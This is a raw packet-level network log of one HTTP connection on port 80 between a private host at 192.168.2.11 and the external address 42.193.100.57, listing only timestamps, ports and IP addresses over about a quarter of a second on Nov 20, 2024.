Nov 20, 2024 09:14:48.317486048 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.317497969 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.317509890 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.317518950 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.317545891 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.317569971 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.317734003 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.317744970 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.317754984 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.317765951 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.317775011 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.317779064 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.317790985 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.317800045 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.317802906 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.317820072 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.317842960 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.317883968 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.317894936 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.317905903 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.317919970 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.317925930 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.317950010 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.317975044 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.318052053 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.318063974 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.318073988 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.318084955 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.318090916 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.318109035 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.318136930 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.318197966 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.318211079 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.318222046 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.318232059 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.318242073 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.318253040 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.318253040 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.318267107 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.318274021 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.318301916 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.318521023 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.318531990 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.318542957 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.318555117 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.318564892 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.318572044 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.318573952 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.318583965 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.318623066 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.318692923 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.318705082 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.318738937 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.318753958 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.318852901 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.318865061 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.318875074 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.318886042 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.318897009 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.318903923 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.318907976 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.318918943 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.318936110 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.318980932 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.319015026 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.319027901 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.319037914 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.319047928 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.319056988 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.319060087 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.319072008 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.319072962 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.319087029 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.319094896 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.319098949 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.319139004 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.319154978 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.319166899 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.319211006 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.319348097 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.319360018 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.319386959 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.319411039 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.436364889 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.436376095 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.436393023 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.436404943 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.436415911 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.436430931 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.436458111 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.436470032 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.436480999 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.436484098 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.436496973 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.436506987 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.436522961 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.436522961 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.436592102 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.436604023 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.436609030 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.436616898 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.436626911 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.436639071 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.436641932 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.436651945 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.436664104 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.436711073 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.436711073 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.436748028 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.436778069 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.436795950 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.436805964 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.436840057 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.436840057 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.436868906 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.436881065 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.436892033 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.436904907 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.436932087 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.436932087 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.437064886 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.437083006 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.437093019 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.437117100 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.437184095 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.437249899 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.437263012 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.437328100 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.437328100 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.437999010 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.438172102 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.438184977 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.438193083 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.438235044 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.438235044 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.438410044 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.438461065 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.438472033 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.438643932 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.438993931 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.439099073 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.439153910 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.439245939 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.439281940 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.439394951 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.439488888 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.439500093 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.439563036 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.440119028 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.440130949 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.440251112 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.440263987 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.440453053 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.440468073 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.440535069 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.441358089 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.441370010 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.441438913 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.441438913 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.441517115 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.441529036 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.441633940 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.442029953 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442042112 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442089081 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.442136049 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.442183971 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442198992 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442291975 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.442346096 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442362070 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442373991 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442384958 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442389011 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.442398071 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442408085 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442410946 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.442420006 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442435026 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442446947 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.442446947 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442459106 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442471027 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442471981 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.442493916 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442504883 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.442506075 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442517996 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442521095 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.442529917 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442538977 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.442542076 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442553997 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442564011 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.442568064 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442578077 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.442581892 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442594051 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442604065 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442605019 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.442615986 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442626953 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442632914 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.442632914 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.442643881 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442662001 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442667961 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.442675114 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442686081 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442688942 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.442698002 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442708969 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442709923 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.442719936 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442732096 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442732096 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.442743063 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442754030 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442761898 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.442761898 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.442765951 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442779064 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442791939 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442795038 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.442815065 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442816973 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.442816973 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.442835093 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442847013 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442857027 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442857981 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.442857981 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.442868948 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442884922 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.442884922 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.442886114 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442898989 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442909956 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442910910 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.442910910 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.442923069 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442929029 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.442934036 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442945004 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442950964 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.442950964 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.442956924 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442975998 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.442979097 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.442987919 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.443001032 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.443011999 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.443011999 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.443011999 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.443025112 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.443036079 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.443047047 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.443056107 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.443058014 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.443064928 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.443070889 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.443082094 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.443092108 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.443098068 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.443098068 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.443103075 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.443114042 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.443124056 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.443128109 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.443136930 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.443147898 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.443159103 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.443164110 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.443164110 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.443171024 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.443190098 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.443196058 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.443240881 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.443240881 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.533178091 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.533190966 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.533202887 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.533325911 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.533338070 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.533349991 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.533354044 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.533363104 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.533373117 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.533375978 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.533402920 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.533421993 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.533643961 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.533662081 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.533674955 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.533684969 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.533696890 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.533706903 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.533718109 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.533725977 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.533730030 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.533741951 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.533752918 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.533760071 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.533760071 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.533765078 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.533776045 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.533791065 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.533798933 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.533816099 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.533824921 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.533827066 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.533840895 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.533845901 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.533852100 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.533862114 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.533869982 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.533876896 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.533886909 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.533890963 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.533901930 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.533912897 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.533915043 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.533927917 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.533937931 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.533938885 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.533945084 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.533952951 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.533974886 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.533976078 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.534002066 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.534003973 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534015894 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534027100 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534027100 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.534039021 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534051895 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534063101 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534064054 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.534075975 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534087896 CET	80	49701	42.193.100.57	192.168.2.11
